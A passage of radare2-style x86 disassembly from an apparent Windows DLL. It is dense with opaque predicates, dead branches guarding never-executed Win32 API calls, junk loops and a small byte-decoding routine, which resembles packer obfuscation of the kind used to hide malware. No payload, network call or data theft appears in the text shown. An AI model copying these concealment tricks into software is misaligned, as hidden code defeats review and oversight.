push 0x27b
push 0x879
push 0xb5d
push 0x16d9
push 0x6f2
push 0x10a9
push 0x757
push 0x24b7
call dword [sym.imp.GDI32.dll_StretchBlt]
jmp 0x10047e57
mov dword [ebp - 0x144], 4
jmp 0x10047ee8
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 8
jle 0x10047f29
mov byte [ebp - 0xf2], 0
movzx eax, byte [ebp - 0xf2]
test eax, eax
je 0x10047f0b
push 0
call dword [sym.imp.USER32.dll_DestroyCursor]
mov byte [ebp - 0xf4], 0
movzx eax, byte [ebp - 0xf4]
test eax, eax
je 0x10047f27
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
jmp 0x10047edb
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x37c]
call fcn.100179de
lea eax, [ebp - 0xc3c]
push eax
lea ecx, [ebp - 0x1120]
call fcn.1003aedf
mov dword [ebp - 0xadc], eax
mov eax, dword [ebp - 0xadc]
mov dword [ebp - 0xa74], eax
mov dword [ebp - 4], 0x10
mov edx, dword [ebp - 0x778]
mov ecx, dword [ebp - 0xa74]
call fcn.1003bdf8
mov dword [0x109271f0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1120]
call fcn.100178c9
push 3
lea ecx, [ebp - 0x23c]
call fcn.1001795c
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x5d8], 0xff3de036
mov dword [ebp - 0xaec], 0xf1540ee1
mov dword [ebp - 0x2c], 0
jmp 0x10047fc0
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x10047fd6
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xc2c], 0xc85f70ad
jmp 0x10047fb9
mov dword [ebp - 0x2c], 0
jmp 0x10047fe6
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x10048002
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x23c]
call fcn.100179fa
mov dword [eax], 0x20f89b5
jmp 0x10047fdf
mov dword [ebp - 0x2c], 0
jmp 0x10048012
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 1
jge 0x10048028
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x7e0], 0xfffffffb
jmp 0x1004800b
push 1
lea ecx, [ebp - 0x23c]
call fcn.100179fa
and dword [eax], 0
jmp 0x1004805e
push 1
lea ecx, [ebp - 0x23c]
call fcn.100179fa
mov dword [ebp - 0x5d0], eax
mov eax, dword [ebp - 0x5d0]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x5d0]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x23c]
call fcn.100179fa
cmp dword [eax], 3
jg 0x100481ee
push 1
lea ecx, [ebp - 0x23c]
call fcn.100179fa
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xc2c]
mov dword [ebp - 0xe44], eax
push 1
lea ecx, [ebp - 0x23c]
call fcn.100179fa
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xc2c]
mov dword [ebp - 0xe4c], eax
push 1
lea ecx, [ebp - 0x23c]
call fcn.100179fa
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xc2c]
mov dword [ebp - 0xe54], eax
push 1
lea ecx, [ebp - 0x23c]
call fcn.100179fa
push 1
lea ecx, [ebp - 0x23c]
call fcn.100179fa
mov eax, dword [eax]
mov esi, dword [ebp + eax*4 - 0xc2c]
push 0
lea ecx, [ebp - 0x23c]
call fcn.100179fa
sub esi, dword [eax]
je 0x10048105
mov eax, 0xfffb
test eax, eax
jne 0x1004810e
mov eax, 0x6364
test eax, eax
je 0x1004812c
push 2
lea ecx, [ebp - 0x23c]
call fcn.100179fa
cmp dword [eax], 0
je 0x1004812c
mov dword [ebp - 0xae4], 1
jmp 0x10048133
and dword [ebp - 0xae4], 0
push 1
lea ecx, [ebp - 0x23c]
call fcn.100179fa
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7e0], 0xd21462cc
jb 0x1004815f
mov dword [ebp - 0xa7c], 1
jmp 0x10048166
and dword [ebp - 0xa7c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7e0]
mov dword [ebp - 0xe5c], eax
mov dword [ebp - 0x5d8], 0x3e86f8c7
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x5d8]
cmp ecx, dword [ebp + eax - 0xc2c]
je 0x100481a4
mov dword [ebp - 0x8e8], 1
jmp 0x100481ab
and dword [ebp - 0x8e8], 0
push 1
lea ecx, [ebp - 0x23c]
call fcn.100179fa
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xc2c]
imul eax, dword [ebp - 0x8e8]
mov dword [ebp - 0xaec], eax
push 1
lea ecx, [ebp - 0x23c]
call fcn.100179fa
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0xc2c], 0
je 0x100481e9
jmp 0x100481ee
jmp 0x1004803a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x23c]
call fcn.100179de
and dword [ebp - 0x2a0], 0
jmp 0x10048213
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0xe
jae 0x1004822c
mov eax, dword [ebp - 0x2a0]
mov byte [ebp + eax - 0xc3c], 0
jmp 0x10048206
push 3
lea ecx, [ebp - 0x1ec]
call fcn.1001795c
mov dword [ebp - 4], 0x12
mov dword [ebp - 0xaf4], 0xfffffff8
mov dword [ebp - 0x180], 1
mov dword [ebp - 0x32c], 0
jmp 0x1004826d
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 3
jge 0x1004828f
push dword [ebp - 0x32c]
lea ecx, [ebp - 0x1ec]
call fcn.100179fa
mov dword [eax], 0x15a13695
jmp 0x10048260
push 0
lea ecx, [ebp - 0x1ec]
call fcn.100179fa
push 0xfffffffffffffffc
pop esi
sub esi, dword [eax]
push 2
lea ecx, [ebp - 0x1ec]
call fcn.100179fa
cmp dword [eax], esi
jge 0x100482be
mov dword [ebp - 0x5e0], 1
jmp 0x100482c5
and dword [ebp - 0x5e0], 0
push 1
lea ecx, [ebp - 0x1ec]
call fcn.100179fa
mov ecx, dword [ebp - 0x5e0]
cmp ecx, dword [eax]
jg 0x100482e8
mov dword [ebp - 0x7e8], 1
jmp 0x100482ef
and dword [ebp - 0x7e8], 0
push 0
lea ecx, [ebp - 0x1ec]
call fcn.100179fa
mov esi, dword [ebp - 0x7e8]
add esi, dword [eax]
push 1
lea ecx, [ebp - 0x1ec]
call fcn.100179fa
cmp dword [eax], esi
jg 0x1004832a
mov eax, 0xeec299e
test eax, eax
je 0x1004832a
mov dword [ebp - 0x5e8], 1
jmp 0x10048331
and dword [ebp - 0x5e8], 0
push 1
lea ecx, [ebp - 0x1ec]
call fcn.100179fa
mov ecx, dword [ebp - 0x5e8]
cmp ecx, dword [eax]
jne 0x10048355
push 1
lea ecx, [ebp - 0x1ec]
call fcn.100179fa
push 1
lea ecx, [ebp - 0x1ec]
call fcn.100179fa
mov esi, eax
push 0
lea ecx, [ebp - 0x1ec]
call fcn.100179fa
mov eax, dword [eax]
cmp eax, dword [esi]
jle 0x10048383
mov dword [ebp - 0x9bc], 1
jmp 0x1004838a
and dword [ebp - 0x9bc], 0
push 2
lea ecx, [ebp - 0x1ec]
call fcn.100179fa
mov ecx, dword [ebp - 0x9bc]
cmp ecx, dword [eax]
jg 0x100483ad
mov dword [ebp - 0xa84], 1
jmp 0x100483b4
and dword [ebp - 0xa84], 0
push 0
lea ecx, [ebp - 0x1ec]
call fcn.100179fa
mov esi, dword [ebp - 0xaf4]
push 1
lea ecx, [ebp - 0x1ec]
call fcn.100179fa
cmp dword [eax], esi
jl 0x100483e4
mov dword [ebp - 0x5f0], 1
jmp 0x100483eb
and dword [ebp - 0x5f0], 0
push 1
lea ecx, [ebp - 0x1ec]
call fcn.100179fa
mov eax, dword [eax]
imul eax, dword [ebp - 0x5f0]
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x180], 0
jmp 0x10048420
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 2
jg 0x10048443
push dword [ebp - 0x180]
lea ecx, [ebp - 0x1ec]
call fcn.100179fa
cmp dword [eax], 0
je 0x10048441
jmp 0x10048443
jmp 0x10048413
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1ec]
call fcn.100179de
mov dword [ebp - 0x2a8], 0x2c03342e
mov dword [ebp - 0x2a8], 0
jmp 0x10048475
mov eax, dword [ebp - 0x2a8]
dec eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0xfffffffb
jle 0x100484a7
mov byte [ebp - 0xf6], 0
movzx eax, byte [ebp - 0xf6]
test eax, eax
je 0x100484a5
push 0xaa5
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
jmp 0x10048468
mov byte [ebp - 0xeb], 0
movzx eax, byte [ebp - 0xeb]
test eax, eax
je 0x100484d0
push 0x1041
push 0
push 0xfbf
push 0x21e
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
mov dword [ebp - 0xb0], 0xffffffff
mov dword [ebp - 0x9cc], 1
mov dword [ebp - 0xafc], 0xfffffffd
mov dword [ebp - 0xb0], 0xfffffff8
jmp 0x10048507
mov eax, dword [ebp - 0xb0]
dec eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0xffffffe2
jge 0x100487b1
mov dword [ebp - 0x2b0], 0xffffffff
mov dword [ebp - 0x618], 9
mov dword [ebp - 0x334], 0
jmp 0x10048541
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 1
jge 0x1004855d
mov eax, dword [ebp - 0x334]
mov dword [ebp + eax*4 - 0x14c], 1
jmp 0x10048534
cmp dword [ebp - 0xb0], 0
jne 0x100486c7
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0xe64], eax
mov eax, 0xb667
test eax, eax
jge 0x1004858b
mov dword [ebp - 0x7f0], 1
jmp 0x10048592
and dword [ebp - 0x7f0], 0
cmp dword [ebp - 0x7f0], 0xffffffff
jle 0x100485a7
mov dword [ebp - 0x5f8], 1
jmp 0x100485ae
and dword [ebp - 0x5f8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14c]
cmp dword [ebp - 0x5f8], eax
jle 0x100485cf
mov dword [ebp - 0x8f0], 1
jmp 0x100485d6
and dword [ebp - 0x8f0], 0
mov eax, dword [ebp - 0x8f0]
mov dword [ebp - 0x2b0], eax
mov eax, dword [ebp - 0x2b0]
cmp eax, dword [ebp - 0xb0]
jle 0x10048601
xor eax, eax
inc eax
je 0x10048601
mov dword [ebp - 0x600], 1
jmp 0x10048608
and dword [ebp - 0x600], 0
mov eax, dword [ebp - 0xb0]
cmp eax, dword [ebp - 0x600]
jne 0x10048622
mov dword [ebp - 0x7f8], 1
jmp 0x10048629
and dword [ebp - 0x7f8], 0
cmp dword [ebp - 0x7f8], 0xffffffff
jae 0x10048640
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x14c], 0
push 3
pop eax
cmp eax, 8
ja 0x10048654
mov dword [ebp - 0xa8c], 1
jmp 0x1004865b
and dword [ebp - 0xa8c], 0
cmp dword [ebp - 0xb0], 0x5d9
jle 0x10048673
mov dword [ebp - 0x608], 1
jmp 0x1004867a
and dword [ebp - 0x608], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14c]
cmp dword [ebp - 0x608], eax
jge 0x1004869b
mov dword [ebp - 0x978], 1
jmp 0x100486a2
and dword [ebp - 0x978], 0
cmp dword [ebp - 0x978], 0x2e96
je 0x100486b5
cmp dword [ebp - 0x2b0], 0
cmp dword [ebp - 0x2b0], 0
jne 0x100486c7
and dword [ebp - 0x610], 0
jmp 0x100486d1
mov dword [ebp - 0x610], 1
cmp dword [ebp - 0x610], 0x684abf0a
jg 0x100486e9
mov dword [ebp - 0x800], 1
jmp 0x100486f0
and dword [ebp - 0x800], 0
mov eax, dword [ebp - 0x800]
mov dword [ebp - 0x618], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x618]
cmp ecx, dword [ebp + eax - 0x14c]
je 0x1004871d
mov dword [ebp - 0x8f8], 1
jmp 0x10048724
and dword [ebp - 0x8f8], 0
cmp dword [ebp - 0x8f8], 1
jl 0x10048739
mov dword [ebp - 0x620], 1
jmp 0x10048740
and dword [ebp - 0x620], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14c]
cmp dword [ebp - 0x620], eax
je 0x10048761
mov dword [ebp - 0x808], 1
jmp 0x10048768
and dword [ebp - 0x808], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14c]
cmp dword [ebp - 0x808], eax
jne 0x10048789
mov dword [ebp - 0x628], 1
jmp 0x10048790
and dword [ebp - 0x628], 0
imul eax, dword [ebp - 0x628], 0x4ce1
mov dword [ebp - 0x9cc], eax
mov eax, dword [ebp - 0x9cc]
mov dword [ebp - 0xafc], eax
jmp 0x100484fa
mov byte [ebp - 0x131], 0
movzx eax, byte [ebp - 0x131]
test eax, eax
je 0x100487d0
push 0
push 0x2286
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
mov byte [ebp - 0x210], 9
mov byte [ebp - 0x20f], 0x18
mov byte [ebp - 0x20e], 2
mov byte [ebp - 0x20d], 6
mov byte [ebp - 0x20c], 0xd
mov byte [ebp - 0x20b], 0x32
mov byte [ebp - 0x20a], 7
mov byte [ebp - 0x209], 0x25
mov byte [ebp - 0x208], 0xb
mov byte [ebp - 0x207], 1
mov byte [ebp - 0x206], 4
mov byte [ebp - 0x205], 7
mov byte [ebp - 0x204], 5
mov byte [ebp - 0x203], 0x11
mov byte [ebp - 0x202], 1
mov byte [ebp - 0x201], 0x17
mov byte [ebp - 0x200], 6
mov byte [ebp - 0x1ff], 0x22
mov byte [ebp - 0x1fe], 0
mov byte [ebp - 0x1fd], 0x13
mov byte [ebp - 0x1fc], 4
mov byte [ebp - 0x1fb], 0x9d
mov byte [ebp - 0x1fa], 0x3a
mov byte [ebp - 0x1f9], 0x8d
mov byte [ebp - 0x1f8], 0xbd
mov byte [ebp - 0x1f7], 0xa
mov byte [ebp - 0x1f6], 0x26
mov byte [ebp - 0x1f5], 0xc
mov byte [ebp - 0x1f4], 0x16
mov byte [ebp - 0x1f3], 3
mov byte [ebp - 0x1f2], 0x12
mov byte [ebp - 0x1f1], 8
mov byte [ebp - 0x1f0], 0xe
push 3
lea ecx, [ebp - 0xde8]
call fcn.1001795c
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x1a8], 0xd386cce5
mov dword [ebp - 0xe6c], 0x5542afa0
mov dword [ebp - 0xb0c], 0x7b445ace
mov dword [ebp - 0x398], 5
mov dword [ebp - 0x630], 0x429a
mov dword [ebp - 0xa98], 0x10008c10
cmp dword [ebp - 0x630], 0x45fc
jle 0x1004899b
and dword [ebp - 0x33c], 0
jmp 0x1004892d
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 0x424d
jge 0x1004898e
and dword [ebp - 0x2b8], 0
jmp 0x1004894f
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0x4388
jge 0x1004898c
mov eax, dword [ebp - 0x33c]
xor eax, dword [ebp - 0x2b8]
cdq
mov dword [ebp - 0xaa0], eax
mov dword [ebp - 0xa9c], edx
push dword [ebp - 0xa9c]
push dword [ebp - 0xaa0]
mov ecx, 0x10618818
call fcn.10017642
jmp 0x10048942
jmp 0x10048920
push 0
push 0x22bd
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov byte [ebp - 4], 0x14
cmp dword [ebp - 0x630], 0x41cd
jge 0x100489bb
mov edx, dword [ebp - 0xa98]
mov ecx, 0x10618818
call fcn.1001a339
jmp 0x100489d7
mov dword [ebp - 4], 0x13
jmp 0x100489e7
mov dword [ebp - 0xa8], 0
jmp 0x10048a00
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 3
jge 0x10048a22
push dword [ebp - 0xa8]
lea ecx, [ebp - 0xde8]
call fcn.100179fa
mov dword [eax], 0x4a025691
jmp 0x100489f3
mov dword [ebp - 0xa8], 0
jmp 0x10048a3b
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 3
jge 0x10048a57
mov eax, dword [ebp - 0xa8]
mov dword [ebp + eax*4 - 0xf10], 0xf81320f2
jmp 0x10048a2e
mov dword [ebp - 0x1a8], 0
jmp 0x10048a70
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 2
jg 0x10048cd2
mov dword [ebp - 0x174], 0
mov dword [ebp - 0xe74], 0xeec299e8
mov dword [ebp - 0xe7c], 8
mov dword [ebp - 0xe84], 0xdb84c6a3
mov dword [ebp - 0xe8c], 1
mov dword [ebp - 0xe94], 6
push 3
lea ecx, [ebp - 0xf30]
call fcn.1001795c
mov byte [ebp - 4], 0x16
mov dword [ebp - 0x344], 0
jmp 0x10048ae3
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 3
jge 0x10048b05
push dword [ebp - 0x344]
lea ecx, [ebp - 0xf30]
call fcn.100179fa
mov dword [eax], 0xa4f06702
jmp 0x10048ad6
mov byte [ebp - 0xed], 0
movzx eax, byte [ebp - 0xed]
test eax, eax
je 0x10048b37
push 0x251e
push 0
push 0
push 0x1466
push 0xbcc
push 0
push 0xed1
call dword [sym.imp.GDI32.dll_GetDIBits]
mov dword [ebp - 0x174], 0
jmp 0x10048b50
cmp dword [ebp - 0x174], 2
jg 0x10048cbe
mov dword [ebp - 0xe9c], 0xd4431fad
mov dword [ebp - 0xea4], 1
mov dword [ebp - 0xeac], 0xfffffffc
push 3
lea ecx, [ebp - 0xf20]
call fcn.1001795c
mov byte [ebp - 4], 0x17
mov dword [ebp - 0xab0], 0xc786c7a8
mov dword [ebp - 0x2c0], 0
jmp 0x10048baf
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 3
jge 0x10048bd1
push dword [ebp - 0x2c0]
lea ecx, [ebp - 0xf20]
call fcn.100179fa
mov dword [eax], 9
jmp 0x10048ba2
push dword [ebp - 0x1a8]
lea ecx, [ebp - 0xde8]
call fcn.100179fa
mov eax, dword [ebp - 0x174]
cmp eax, dword [ebp - 0x174]
jge 0x10048bfc
mov dword [ebp - 0x810], 1
jmp 0x10048c03
and dword [ebp - 0x810], 0
mov eax, dword [ebp - 0x398]
mov dword [ebp - 0xb04], eax
mov eax, dword [ebp - 0x398]
inc eax
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0xb04], 0xa53061ec
jbe 0x10048c34
mov dword [ebp - 0x638], 1
jmp 0x10048c3b
and dword [ebp - 0x638], 0
mov eax, dword [ebp - 0x810]
cmp eax, dword [ebp - 0x638]
jle 0x10048c5a
or eax, 0xffffffff
je 0x10048c5a
mov dword [ebp - 0xaa4], 1
jmp 0x10048c61
and dword [ebp - 0xaa4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xf10]
mov dword [ebp - 0xeb8], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xb0c]
imul ecx, dword [ebp + eax - 0xf10]
test ecx, ecx
jne 0x10048c97
mov dword [ebp - 0x900], 1
jmp 0x10048c9e
and dword [ebp - 0x900], 0
mov eax, dword [ebp - 0x900]
mov dword [ebp - 0xab0], eax
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0xf20]
call fcn.100179de
jmp 0x10048b43
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xf30]
call fcn.100179de
jmp 0x10048a63
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xde8]
call fcn.100179de
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x210]
and eax, 0x7b
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x210]
or ecx, 0x7b
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x210]
mov byte [ebp + eax - 0xa48], cl
mov dword [ebp - 0x20], 0x68ec0ae9
mov dword [ebp - 0x3dc], 0x4ddb84c6
mov dword [ebp - 0xc64], 0x6d4f509e
mov dword [ebp - 0xc60], 0x6d4f509e
mov dword [ebp - 0xc5c], 0x6d4f509e
mov dword [ebp - 0xc58], 0x6d4f509e
mov dword [ebp - 0xb1c], 0xb336fde0
mov dword [ebp - 0x20], 0
jmp 0x10048d6d
mov eax, dword [ebp - 0x20]
dec eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffe3
jle 0x10048d8f
mov byte [ebp - 0xf7], 0
movzx eax, byte [ebp - 0xf7]
test eax, eax
je 0x10048d8d
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
jmp 0x10048d66
mov dword [ebp - 0x20], 0
jmp 0x10048d9f
cmp dword [ebp - 0x20], 0xffffffef
jg 0x100491eb
mov dword [ebp - 0xdc], 3
mov dword [ebp - 0x154], 0x7b5bf2d3
mov dword [ebp - 0x10c], 0xfffffff9
mov dword [ebp - 0xabc], 0xffffffff
mov dword [ebp - 0xdc], 0
jmp 0x10048dea
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x15
jg 0x10048dfd
cmp dword [ebp - 0x20], 0
je 0x10048dfb
jmp 0x10048dfd
jmp 0x10048ddd
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xee0], eax
mov eax, dword [ebp - 0x154]
cmp eax, dword [ebp - 0x20]
jne 0x10048e1d
mov dword [ebp - 0x640], 1
jmp 0x10048e24
and dword [ebp - 0x640], 0
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0x640], eax
jne 0x10048e44
cmp dword [ebp - 0x20], 0
je 0x10048e44
mov dword [ebp - 0x818], 1
jmp 0x10048e4b
and dword [ebp - 0x818], 0
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x818]
cmp eax, 0x786c7a88
jl 0x10048e68
mov dword [ebp - 0x648], 1
jmp 0x10048e6f
and dword [ebp - 0x648], 0
mov dword [ebp - 0x3dc], 9
mov eax, dword [ebp - 0x3dc]
sub eax, dword [ebp - 0x648]
jne 0x10048e99
cmp dword [ebp - 0x154], 0
jne 0x10048e99
and dword [ebp - 0x980], 0
jmp 0x10048ea3
mov dword [ebp - 0x980], 1
mov eax, dword [ebp - 0x154]
cmp dword [ebp - 0x980], eax
jne 0x10048ebd
mov dword [ebp - 0x650], 1
jmp 0x10048ec4
and dword [ebp - 0x650], 0
cmp dword [ebp - 0x650], 0xe12f
jl 0x10048edc
mov dword [ebp - 0x28], 2
and dword [ebp - 0x184], 0
jmp 0x10049203
mov eax, dword [ebp - 0x28]
inc eax
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x21
jae 0x10049e6a
mov dword [ebp - 0x44], 0xfffffff6
mov dword [ebp - 0x44], 1
jmp 0x10049224
cmp dword [ebp - 0x44], 6
jne 0x10049498
mov dword [ebp - 0xd4], 0xaaf5bfb6
mov dword [ebp - 0x1b8], 0x3b06d9e9
mov dword [ebp - 0xb24], 0x151d1a93
cmp dword [ebp - 0xd4], 0
jne 0x100492c6
imul eax, dword [ebp - 0x44], 0
cmp eax, dword [ebp - 0x44]
je 0x1004926a
mov dword [ebp - 0x988], 1
jmp 0x10049271
and dword [ebp - 0x988], 0
cmp dword [ebp - 0x988], 0xfffffff7
jg 0x10049286
mov dword [ebp - 0x690], 1
jmp 0x1004928d
and dword [ebp - 0x690], 0
cmp dword [ebp - 0x690], 0xbe26
jl 0x100492a5
mov dword [ebp - 0x698], 1
cmp dword [ebp - 0x698], 3
je 0x100492e5
mov dword [ebp - 0xac8], 1
jmp 0x100492ec
and dword [ebp - 0xac8], 0
cmp dword [ebp - 0x44], 0
jne 0x10049300
or eax, 0xffffffff
jne 0x10049300
mov dword [ebp - 0x918], 1
mov eax, dword [ebp - 0x918]
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x1b8]
add eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0xd4]
test eax, eax
je 0x1004933c
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x210]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x28], eax
jne 0x10049dd6
mov dword [ebp - 0x990], 0x2c9a130d
mov dword [ebp - 0x16c], 1
mov dword [ebp - 0x928], 0
mov dword [ebp - 0xb8], 0
jmp 0x100494ea
cmp dword [ebp - 0xb8], 3
jge 0x10049506
mov eax, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0x100c], 5
jmp 0x100494dd
mov dword [ebp - 0xb8], 0
jmp 0x1004951f
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x184]
movzx eax, byte [ebp + eax - 0x212]
movsx eax, byte [ebp + eax - 0xa48]
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [ebp + ecx - 0x20f]
and ecx, eax
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x184]
movzx eax, byte [ebp + eax - 0x212]
movsx eax, byte [ebp + eax - 0xa48]
mov edx, dword [ebp - 0x28]
movzx edx, byte [ebp + edx - 0x20f]
and edx, eax
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x184]
movzx eax, byte [ebp + eax - 0x212]
movsx eax, byte [ebp + eax - 0xa48]
mov esi, dword [ebp - 0x28]
movzx ebx, byte [ebp + esi - 0x20f]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x210]
mov byte [ebp + eax - 0xa48], bl
and dword [ebp - 0x184], 0
jmp 0x100491fb
push 3
lea ecx, [ebp - 0x438]
call fcn.1001795c
mov dword [ebp - 4], 0x1b
push 3
lea ecx, [ebp - 0xdd0]
call fcn.1001795c
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x3a8], 0xfc9b996a
mov dword [ebp - 0x9a0], 0xffffffff
mov dword [ebp - 0x760], 0xc3a60813
mov dword [ebp - 0x34], 0
jmp 0x10049ebd
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 4
jge 0x10049ed3
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0xcfc], 0xfffffffa
jmp 0x10049eb6
mov dword [ebp - 0x34], 0
jmp 0x10049ee3
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x10049eff
push dword [ebp - 0x34]
lea ecx, [ebp - 0x438]
call fcn.100179fa
mov dword [eax], 0x398070ad
jmp 0x10049edc
mov dword [ebp - 0x34], 0
jmp 0x10049f0f
cmp dword [ebp - 0x34], 3
jge 0x10049f2b
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x594], 0x8e55a441
mov dword [ebp - 0x574], 0x802
mov dword [ebp - 0xc18], 0x10008d6c
cmp dword [ebp - 0x574], 0xa91
jle 0x1004a9e2
and dword [ebp - 0x2f8], 0
jmp 0x1004a917
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0x77aa
jge 0x1004a9a8
and dword [ebp - 0x338], 0
jmp 0x1004a93d
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 0x2ae7
jge 0x1004a9a3
mov eax, dword [ebp - 0x2f8]
cdq
idiv dword [ebp - 0x338]
mov eax, edx
cdq
mov dword [ebp - 0xac4], eax
mov dword [ebp - 0xac0], edx
push dword [ebp - 0xac0]
push dword [ebp - 0xac4]
lea ecx, [ebp - 0x10cc]
call fcn.1000a64e
pop ecx
pop ecx
mov dword [ebp - 0xaf8], eax
mov ecx, dword [ebp - 0xaf8]
call fcn.10017622
push eax
call fcn.10058109
pop ecx
lea ecx, [ebp - 0x10cc]
call fcn.10017618
jmp 0x1004a930
jmp 0x1004a90a
push 0
push 0x556
push 0x1d2c
push 0x27b
push 0x879
push 0xb5d
push 0x16d9
push 0x6f2
push 0x10a9
push 0x757
push 0x24b7
call dword [sym.imp.GDI32.dll_StretchBlt]
mov dword [ebp - 0xb00], 0xfffffff7
mov dword [ebp - 4], 0x24
cmp dword [ebp - 0x574], 0x4c3
jge 0x1004aa0b
push dword [ebp - 0xc18]
call fcn.10058109
pop ecx
jmp 0x1004aa27
or dword [ebp - 4], 0xffffffff
jmp 0x1004aa31
mov dword [ebp - 0xba0], 1
cmp dword [ebp - 0x50], 0xb61d2250
jae 0x1004aaee
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x50]
sub eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x50]
jle 0x1004aa65
mov dword [ebp - 0x57c], 1
